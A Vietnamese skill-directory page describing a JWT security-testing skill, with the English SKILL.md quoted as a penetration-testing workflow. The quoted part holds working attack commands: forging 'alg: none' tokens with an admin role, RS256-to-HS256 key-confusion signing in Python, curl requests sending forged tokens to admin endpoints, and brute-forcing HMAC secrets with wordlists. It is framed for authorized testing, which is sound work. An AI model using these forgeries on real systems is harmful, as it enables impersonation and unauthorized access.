Chuyển đến nội dung
Skillpedia
Bảo mật35k · #8394

testing-jwt-token-security

Skill này làm gì

Công cụ này giúp kiểm tra xem token xác thực (gọi là JWT) có đủ mạnh hay không. Nó tìm các lỗi có thể cho phép người không được phép truy cập thông tin hoặc thực hiện hành động.

Khi nào nên dùng

  • ✓Khi bạn kiểm thử bảo mật một website hoặc ứng dụng.
  • ✓Khi bạn nghi ngờ một token truy cập có thể đã bị xâm phạm.
  • ✓Khi bạn muốn đảm bảo chỉ người dùng được phép mới truy cập được một số phần nhất định của hệ thống.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-jwt-token-security/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-jwt-token-security/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Kiểm tra độ an toàn của các token JWT trong ứng dụng của tôi.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ phân tích cấu trúc của token, thử vượt qua các quy tắc bảo mật và kiểm tra xem thông tin bên trong token có thể bị sửa đổi để có truy cập trái phép hay không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Testing JWT Token Security

When to Use

  • During authorized penetration tests when the application uses JWT for authentication or authorization
  • When assessing API security where JWTs are passed as Bearer tokens or in cookies
  • For evaluating SSO implementations that use JWT/JWS/JWE tokens
  • When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
  • During security audits of microservice architectures using JWT for inter-service authentication

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • jwt_tool: JWT attack toolkit (pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional: With JSON Web Token extension from BApp Store
  • Python PyJWT: For scripting custom JWT attacks (pip install pyjwt)
  • Hashcat: For brute-forcing HMAC secrets (apt install hashcat)
  • jq: For JSON processing
  • Target JWT: A valid JWT token from the application

Workflow

Step 1: Decode and Analyze the JWT Structure

Extract and examine the header, payload, and signature components.

# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

Step 2: Test Algorithm None Attack

Attempt to forge tokens by setting the algorithm to "none".

# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

Step 3: Test Algorithm Confusion (RS256 to HS256)

If the server uses RS256, try switching to HS256 and signing with the public key.

# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

Step 4: Brute-Force HMAC Secret

If HS256 is used, attempt to crack the signing secret.

# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt


…
Câu hỏi thường gặp

Token JWT là gì?

Đây là một mẩu thông tin nhỏ mà máy chủ gửi đến trình duyệt (hoặc ứng dụng) của bạn để ghi nhớ bạn là ai. Bạn có thể hình dung nó như thẻ định danh số.

Vì sao cần kiểm tra bảo mật JWT?

Nếu token JWT không được bảo vệ đúng cách, kẻ tấn công có thể làm giả token để mạo danh người khác, đánh cắp dữ liệu hoặc vào các khu vực bị hạn chế.

Tôi có cần kiến thức kỹ thuật để dùng không?

Có, công cụ này dành cho chuyên gia bảo mật hiểu về kiểm thử xâm nhập và cách token JWT hoạt động.

Chi tiết

Mô tả gốc của tác giả

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#8394
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự